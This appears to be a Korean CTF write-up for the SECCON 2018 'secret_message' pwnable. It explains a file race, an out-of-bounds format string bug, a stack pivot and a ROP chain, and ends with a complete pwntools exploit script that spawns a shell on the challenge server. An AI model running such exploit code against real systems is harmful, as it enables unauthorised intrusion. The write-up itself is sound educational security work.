CTF/2018

SECCON CTF 2018 QUAL - secret_message (one shot exploit)

pwn3r_45 2018. 11. 25. 19:44

Category : pwnable

secret_message
494
2 Solves
Let's share a secret with us nc secret-message.pwn.seccon.jp 31337
(Hint: We allow a "little" bruteforcing to secret_message only.)

Summary : ascii art, out of boundary, double staged format string attack, * precision, fread, fwrite

  • Off by one 취약점으로 해겨해야 하는줄 알고 초반에 방향 잘못 잡았던 문제.
  • fsb 로 취약점으로 풀이가능하다. 문제 description에서 "little" brute force를 허용해주는 것으로 보아 GOT에 partial overwrite를 의도한 것으로 추측되지만, payload를 잘 구성하니 one shot exploit 가능했다.
  • 재밌었음.

1. Analysis

1.1. Concept

# encode
$ ./secret_message
welcome~
e
to : 
toto
from : 
fromfrom
filename : 
hello
message length :
2
message : 
ab
# decode
$ ./secret_message 
welcome~
s
path : 
hello

  __ _ 
 / _` |
| (_| |
 \__,_|

 _     
| |__  
| '_ \ 
| |_) |
|_.__/ 


from : fromfrom
to : toto
  • 바이너리를 실행하면 위와 같이 e(encode)와 s(decode) 2가지 기능이 존재한다. e는 alphanum characters를 입력받아 file에 encode하여 저장하며, s는 file을 열어 decode 하고 ascii art 형태로 보여준다.

  • 기능은 간단하지만, encode/decode 루틴이 꽤 복잡하다. 생성되는 file의 구조는 아래와 같다.

$ xxd files/hello  
00000000: 4254 5300 0200 0000 0800 0000 0400 0000 BTS.............              # File header
00000010: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0.......              # Letter header
00000020: bdf2 01b0 c92d 1db3 dadc d0e6 b6b9 6973 .....-........is 
00000030: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.              # Letter data (encoded)
00000040: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.  
00000050: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.  
00000060: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.  
..................................................................
00000300: 7aff 7177 cd02 dadc f7e9 9f5d b4fd 74b8 z.qw.......\]..t.  
00000310: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t...  
00000320: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.\[3...N...t...   
00000330: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0.......              # Letter header 
00000340: b004 5e53 3a11 8591 4fcb 785a 9e96 3d2d ..^S:...O.xZ..=-  
00000350: a801 175c 3625 fbb7 5025 ccc0 a8c2 29f1 ...\\6%..P%....).             # Letter data (encoded)
00000360: d35c a0b9 fcea 07f2 05cf a7e6 b47d 3a26 .\\...........}:&  
..................................................................
00000630: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.  
00000640: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.  
00000650: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto                           # from, to
  • 0x10 byte의 file header와 저장된 글자수 만큼 반복되는 letter header + letter data. 그리고 마지막에 from과 to가 저장된다. magic number가 BTS인걸로 보아 출제자는 BTS의 엄청난 팬으로 추측된다.

Abusing the letter file

  • cmd_e 함수에서 사용자에게 filename 입력받을 때, file의 존재 여부를 검사하거나 lock을 걸지 않기 때문에, 다수의 process에서 동시에 1개의 file을 생성할 수 있다.

  • fwrite 함수는 기본적으로 buffer를 사용하기 때문에, 실제로 write system call 이 발생하는 시점은 아래와 같다.

(1) buffer(0x1000 byte)가 가득 차거나
(2) fclose하는 시점에 buffer에 남아있는 data를 file에 write

  • 이러한 특성을 이용하여 2개의 process가 함께 file을 생성하며 file header를 혼동시킬 수 있다. 시나리오를 그림으로 나타내면 아래와 같다.

process1

$ ./secret 
welcome~
e
to : 
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB            # user input
from : 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA            # user input
filename : 
file                                                                        # user input
message length :
7                                                                            # user input
message : 
aaaaaa                                                                        # user input
(wait for seconds)    
a                                                                            # user input

process 2

$ ./secret
welcome~
e                                                                            # user input
to : 
toto                                                                        # user input
from : 
fromfrom                                                                    # user input
filename : 
file                                                                        # user input
message length :
8                                                                            # user input
message : 
aaaaaa                                                                        # user input
  • 위와 같은 시나리오로 file을 생성하면 사용자가 입력한 from, to data를 위에서 지칭한 letter header, letter data로 인식시킬 수 있다. python으로 표현하면 아래와 같다.
#filename
s1.recvuntil('filename : \n')
s1.sendline('file')

s2.recvuntil('filename : \n')
s2.sendline('file')

#message length
s1.recvuntil('message length :\n')
s1.sendline(str(6 + 1))

s2.recvuntil('message length :\n')
s2.sendline(str(6 + 2))

#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send('a' * 6)
s2.send(message)
time.sleep(4)
s2.close()

s1.send('a')
time.sleep(4)
s1.close()

1.2. Vulnerability (OOB + Format String Bug)

  • cmd_s(decode) 함수에서는 letter data를 decode 하여 출력할 ascii art character의 index를 계산한다.
  • format은 ascii art character의 주소들이 나열된 table이다. format string을 거치지 않고 그대로 출력하기 때문에, fsb 취약점이 존재한다.
.data:60A140                         ; char *format
.data:60A140 18 7A 40 00 00 00 00 00 format          dq offset a__V          ; DATA XREF: decrypt_401C74+3BCr
.data:60A140                                                                 ; decrypt_401C74+3E4r
.data:60A140                                                                 ; "|"
.data:60A148 1A 7A 40 00 00 00 00 00                 dq offset asc_407A1A    ; " "
.data:60A150 1C 7A 40 00 00 00 00 00                 dq offset asc_407A1C    ; "
"
.data:60A158 1E 7A 40 00 00 00 00 00                 dq offset a_            ; "_"
.data:60A160 20 7A 40 00 00 00 00 00                 dq offset asc_407A20    ; "/"
.data:60A168 22 7A 40 00 00 00 00 00                 dq offset asc_407A22    ; "`"
.data:60A170 24 7A 40 00 00 00 00 00                 dq offset asc_407A24    ; "("
.data:60A178 26 7A 40 00 00 00 00 00                 dq offset asc_407A26    ; "\"
.data:60A180 28 7A 40 00 00 00 00 00                 dq offset asc_407A28    ; ","
.data:60A188 2A 7A 40 00 00 00 00 00                 dq offset asc_407A2A    ; "'"
.data:60A190 2C 7A 40 00 00 00 00 00                 dq offset asc_407A2C    ; ")"
.data:60A198 2E 7A 40 00 00 00 00 00                 dq offset a__0          ; "."
.data:60A1A0 30 7A 40 00 00 00 00 00                 dq offset asc_407A30    ; "<"
.data:60A1A8 32 7A 40 00 00 00 00 00                 dq offset asc_407A32    ; ">"
.data:60A1B0 34 7A 40 00 00 00 00 00                 dq offset aV            ; "V"
.data:60A1B8 00 00 00 00 00 00 00 00                 align 20h
.data:60A1C0 08 07 06 05 04 03 02 01 checksum_60A1C0 dq 102030405060708h     ; DATA XREF: sub_4011E6+6Dr
.data:60A1C0                                                                 ; decrypt_401C74+181r
.data:60A1C0                         _data           ends
.data:60A1C0
.bss:60A1D0                         ; ===========================================================================
.bss:60A1D0
.bss:60A1D0                         ; Segment type: Uninitialized
.bss:60A1D0                         ; Segment permissions: Read/Write
.bss:60A1D0                         _bss            segment para public 'BSS' use64
.bss:60A1D0                                         assume cs:_bss
.bss:60A1D0                                         ;org 60A1D0h
.bss:60A1D0                                         assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:60A1D0                                         public stdin
.bss:60A1D0                         ; FILE *stdin
.bss:60A1D0 ?? ?? ?? ?? ?? ?? ?? ?? stdin           dq ?                    ; DATA XREF: sub_401007+4r
.bss:60A1D0                                                                 ; Copy of shared data
.bss:60A1D8                                         public stdout
.bss:60A1D8                         ; FILE *stdout
.bss:60A1D8 ?? ?? ?? ?? ?? ?? ?? ?? stdout          dq ?                    ; DATA XREF: sub_401007+13r
.bss:60A1D8                                                                 ; Copy of shared data
.bss:60A1E0 ??                      byte_60A1E0     db ?                    ; DATA XREF: sub_400F60r
.bss:60A1E0                                                                 ; sub_400F60+13w
.bss:60A1E1                         ; std::ios_base::Init unk_60A1E1
.bss:60A1E1 ??                      unk_60A1E1      db    ? ;               ; DATA XREF: sub_40103D+1Do
.bss:60A1E1                                                                 ; sub_40103D+2Co
.bss:60A1E2 ??                                      db    ? ;
.bss:60A1E3 ??                                      db    ? ;
.bss:60A1E4 ??                                      db    ? ;
.bss:60A1E5 ??                                      db    ? ;
.bss:60A1E6 ??                                      db    ? ;
.bss:60A1E7 ??                                      db    ? ;
.bss:60A1E8                         ; void *from_buf
.bss:60A1E8 ?? ?? ?? ?? ?? ?? ?? ?? from_buf        dq ?                    ; DATA XREF: cmd_s_4020AC+F4w
.bss:60A1E8                                                                 ; cmd_s_4020AC+113r ...
.bss:60A1F0                         ; void *to_buf_60A1F0
.bss:60A1F0 ?? ?? ?? ?? ?? ?? ?? ?? to_buf_60A1F0   dq ?                    ; DATA XREF: cmd_s_4020AC+10Cw
.bss:60A1F0                                                                 ; cmd_s_4020AC+129r ...
.bss:60A1F8                         ; char *decrypt_filename
.bss:60A1F8 ?? ?? ?? ?? ?? ?? ?? ?? decrypt_filename dq ?                   ; DATA XREF: cmd_s_4020AC+13w
.bss:60A1F8                                                                 ; cmd_s_4020AC+24r ...

format table의 size는 8 * 15 이다. calc_index_202784 함수의 return value에 대한 boundary check가 이루어지지 않는다면, return value를 0x17로 만들어, printf(decrypt_filename); 으로 fsb 취약점을 trigger 할 수 있다.

// decrypt filename은 초기에 입력받은 file path

idx가 format table을 벗어나는지에 대한 check가 이루어지지 않기 때문에, OOB가 발생한다. 즉, letter header + letter data를 잘 control하면 idx를 0x17로 만들어 fsb를 trigger 할 수 있다.

1.3. Creating an evil message

  • calc_index_402784 함수의 return value를 0x17 byte 로 만드는 letter format + letter data가 필요하다.
  • encode / decode routine이 복잡하기 때문에 다 분석한다면 꽤나 고생하겠지만, 이를 전부 분석 할 필요없다. 문제 binary에서 encode 기능과 관련된 table을 패치하여 간단하게 얻을 수 있다.
$ diff original.xxd patched.xxd  
1629,1631c1629,1631  
< 000065c0: 0101 0101 0101 0102 0101 0303 0103 0102 ................  
< 000065d0: 0104 0103 0501 0002 0001 0603 0001 0002 ................  
< 000065e0: 0107 0303 0803 0002 0101 0101 0101 0102 ................  
\---  
\> 000065c0: 1700 0000 0000 0000 ffff ffff ffff ffff ................  
\> 000065d0: ffff ffff ffff ffff ffff ffff ffff ffff ................  
\> 000065e0: ffff ffff ffff ffff ffff ffff ffff ffff ................  
1939c1939  
< 00007920: 3000 0000 3000 0000 2a00 0000 3000 0000 0...0...\*...0...  
\---  
\> 00007920: 0800 0000 3000 0000 2a00 0000 3000 0000 ....0...\*...0...
  • 문제 binary에서 문자 'a' 를 구성하는 ascii art 정보를 변경했다. 0x7920에는 'a'의 ascii art를 구성하기 위한 문자의 개수가 나와있다.(0x30) 이를 최소값인 8로 바꾼다.

  • 0x65c0에는 'a'의 ascii art를 구성하는 문자들의 index가 저장되어있다. 첫 byte만 0x17로 변경하고 나머지 7byte는 아무렇게나 바꾼다.

  • patch된 프로그램을 실행하여 %p %p %p %p라는 파일에 'a'를 encode한다.

$ ./patched  
welcome~  
e  
to :  
toto  
from :  
fromfrom  
filename :

%p %p %p %p  
message length :  
1  
message :  
a
  • 이제 "%p %p %p %p" file을 decode 해보면 format을 기준으로 0x17에 있는 decrypt_filename을 출력하여 fsb가 trigger 된다.
$ ./patched  
welcome~  
s  
path :  
%p %p %p %p  
0x7f7255b463a0 (nil) 0x3c 0x348||||||| <--------------------- printf(filename);  
from : fromfrom  
to : toto
  • encode routine에 대한 상세분석 없이 FSB 를 trigger 하는 data 를 얻었다.

  • file에서 letter header와 letter data를 exploit에서 사용하면 된다.

$ xxd files/%p\\ %p\\ %p\\ %p  
00000000: 4254 5300 0100 0000 0800 0000 0400 0000 BTS.............  
00000010: 12ab 0000 8000 0000 0800 0000 0000 0000 ................  
00000020: a89f be76 7bf1 7de7 48d5 40aa 96aa 2155 ...v{.}.H.@...!U  
00000030: a098 b873 7ff2 7fe6 17ab 38c6 3744 88bf ...s......8.7D..  
00000040: a935 bcb8 6068 a9f0 fb4d a1ce 00da 94d7 .5..\`h...M......  
00000050: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.  
00000060: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.  
00000070: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....  
00000080: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....  
00000090: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....  
000000a0: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....  
000000b0: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto

2. Exploitation

2.1. FSB -> fake ebp -> rip control

  • fsb 로 덮을 대상으로 sfp를 선택했다. 마침 fsb가 발생하는 시점이 main 함수로부터 2번째 내부 함수이기 때문에 sfp를 user controllable한 영역으로 변경하면, main에서 leave; ret를 하는 시점에 rsp가 user controllabe 영역으로 변경되어 rip를 control 할 수 있다.

  • 그렇다면 user controllable한 영역은 어디가 있을까. fwrite와 마찬가지로 fread 함수는 기본적으로 0x1000 단위로 file data를 heap에 읽어두기 때문에, to/from에 payload를 저장하면 heap에 payload를 write할 수 있다.

  • 하지만 아직 heap 주소를 모르기 때문에, %n 시점에 출력 카운트를 heap주소로 만드는 것이 불가능하다. 라고 생각할 수 있지만 format string에 '*' precision을 이용하면 heap 주소를 몰라도 heap 주소만큼 출력 카운트를 만들어주는 것이 가능하다.

##################################################################  
fsb = '%\*56$c%{}c%52$ln'.format(0x61df30 \- 0x61d650 \- 8)  
'''  
XXXX : heap address

XXXX : user controllable data - heap address

XXXX : sfp

0x7fffffffdbe0: 0x7fffffffdc20 0x40220c  
0x7fffffffdbf0: 0x7ffff7530120 <pa\_next\_type> 0x1700000007  
0x7fffffffdc00: 0x61d650 0x61d880 // 56th idx  
0x7fffffffdc10: 0x7ffff75308e0 <\_IO\_2\_1\_stdin\_> 0x0  
0x7fffffffdc20: 0x7fffffffdc50 0x400fe8  
0x7fffffffdc30: 0x7fffffffdd38 0x100400eb0  
0x7fffffffdc40: 0x7fffffffdd30 0x7300000000000000  

\# user controllable data  
0x61df30: 0x6161616161616161 0x6161616161616161  
0x61df40: 0x6161616161616161 0x6161616161616161  
0x61df50: 0x6161616161616161 0x6161616161616161  
0x61df60: 0x6161616161616161 0x6161616161616161  
0x61df70: 0x6161616161616161 0x6161616161616161  
0x61df80: 0x6161616161616161 0x6161616161616161  

\>>> 0x61df30 - 0x61d650  
2272  
'''  
##################################################################  
  • 56번째 인자로 heap주소(0x61d650)가 존재한다. '*' precision의 참조 위치를 56번째로 지정해주고 출력하면, 0x61d650만큼의 출력 카운트가 만들어진다. user controllable data는 0x61df30 부터 있으므로 (0x61df30 - 0x61d650) 만큼 더 출력 카운트를 올려준다. sfp에 %ln을 하면 cmd_s 함수의 sfp가 0x61df30 으로 변경되고, main 함수에서 leave; ret 하는 시점에 stack이 0x61df30쪽으로 pivot되어 0x6161616161616161로 ret 할 것이다.

2.2. ROP

  • 그럼 user controllable data에 넣을 ROP payload를 구성하면 된다. 다행히 pie가 disable 되어있으므로 binary 내에 존재하는 gadget을 이용할 수 있다. payload는 아래와 같이 구성했다.
puts(fopen_got) 
-> read(0, fopen_got, 8) 
-> cmd_s()
  • puts함수로 fopen_got에 있는 libc 주소를 leak하고, system 함수 주소를 계산한다.

  • fopen_got에 system 함수 주소를 overwrite하고, fopen함수를 호출하는 cmd_s로 돌아간다.

  • cmd_s함수를 호출하면 사용자에게 입력받아 명령을 실행할 수 있다.

  • 구성한 ROP payload는 아래와 같다.
############## rop payload inside the file (to) ##################
pop_rdi    = 0x406583
pop_rsi_r15    = 0x406581
do_read       = 0x4010e8
puts_plt   = 0x400ce0
fopen_got  = 0x60a068
decode_msg = 0x4020ac
freespace  = 0x60af00

pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)
###################################################################

...............
...............

# to
s1.recvuntil('to : \n')
s1.sendline(pay)

...............
...............

libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))

s3.recvuntil('path : \n')
s3.sendline('sh')

s3.interactive()

2.3. Exploit

#!/usr/bin/python

from pwn import *

REMOTE = True

message = 'a' * 6

###### fake message to trigger fsb via printf(filename) ########
fake_message = ''
# header
fake_message += '\x12\xab\x00\x00'
fake_message += p32(0x80)  # data size
fake_message += p32(8)    # height
fake_message += p32(0)    # unknown
fake_message += p64(0x54597b67e1abe6e7)       # checksum
fake_message += p64(0x61283094c250184a)       # rand

body = [0x555b7863e4ade1ef, 0x5b22f0bd9c45c7e0, 0xb08450e9df3bfc15, 0x2a56d50edb755f3, 
        0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa, 
        0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921, 
        0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921]
fake_message += ''.join(map(p64, body))
##################################################################


##################################################################
fsb = '%*56$c%{}c%52$ln'.format(0x61df30 - 0x61d650 - 8)
'''
0x7fffffffdbe0:    0x7fffffffdc20 0x40220c
0x7fffffffdbf0:    0x7ffff7530120 <pa_next_type>  0x1700000007
0x7fffffffdc00:    0x61d650   0x61d880               // 56th idx
0x7fffffffdc10:    0x7ffff75308e0 <_IO_2_1_stdin_>    0x0
0x7fffffffdc20:    0x7fffffffdc50 0x400fe8
0x7fffffffdc30:    0x7fffffffdd38 0x100400eb0
0x7fffffffdc40:    0x7fffffffdd30 0x7300000000000000

0x61df30:  0x6161616161616161 0x6161616161616161
0x61df40:  0x6161616161616161 0x6161616161616161
0x61df50:  0x6161616161616161 0x6161616161616161
0x61df60:  0x6161616161616161 0x6161616161616161
0x61df70:  0x6161616161616161 0x6161616161616161
0x61df80:  0x6161616161616161 0x6161616161616161

>>> 0x61df30 - 0x61d650
2272
'''
##################################################################

############## rop payload inside the file (to) ##################
pop_rdi    = 0x406583
pop_rsi_r15    = 0x406581
do_read       = 0x4010e8
puts_plt   = 0x400ce0
fopen_got  = 0x60a068
decode_msg = 0x4020ac
freespace  = 0x60af00

pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)


###################################################################

################ create evil message ###################
if REMOTE:
   s1 = remote('secret-message.pwn.seccon.jp', 31337)
   s2 = remote('secret-message.pwn.seccon.jp', 31337)
else:
   s1 = process('./secret')
   s2 = process('./secret')


s1.recvuntil('welcome~\n')
s2.recvuntil('welcome~\n')

s1.send('e')
s2.send('e')

# to
s1.recvuntil('to : \n')
s1.sendline(pay)

s2.recvuntil('to : \n')
s2.sendline('a' * 0x1)

# from
s1.recvuntil('from : \n')
s1.sendline(fake_message)

s2.recvuntil('from : \n')
s2.sendline('b' * 0x1)

#filename :
s1.recvuntil('filename : \n')
s1.sendline(fsb)

s2.recvuntil('filename : \n')
s2.sendline(fsb)

#message length
s1.recvuntil('message length :\n')
s1.sendline(str(len(message) + 1))

s2.recvuntil('message length :\n')
s2.sendline(str(len(message) + 2))

#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send(message)
time.sleep(3)
s2.send(message)
time.sleep(3)
s2.close()
time.sleep(3)
s1.send('a')
time.sleep(3)
s1.close()
######################################################

################### trigger fsb ######################
if REMOTE:
   s3 = remote('secret-message.pwn.seccon.jp', 31337)
else:
   s3 = process('./secret')
s3.recvuntil('welcome~\n')
s3.send('s')
s3.recvuntil('path : \n')
s3.sendline(fsb)
# fsb ==> *sfp = rop_payload in heap
s3.recvuntil('to : ')
s3.recvline()
# rop payload
libc_base = u64(s3.recvline(False).ljust(8, '\x00')) - 0x6dd70
libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))

s3.recvuntil('path : \n')
s3.sendline('sh')

s3.interactive()
s3.close()
####################################################### 
$ python ex.py 
[+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done
[+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done
[*] Closed connection to secret-message.pwn.seccon.jp port 31337
[*] Closed connection to secret-message.pwn.seccon.jp port 31337
[+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done
0x7fac3cf5d000
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ cat /home/secret_message/flag
SECCON{???????????????????????????}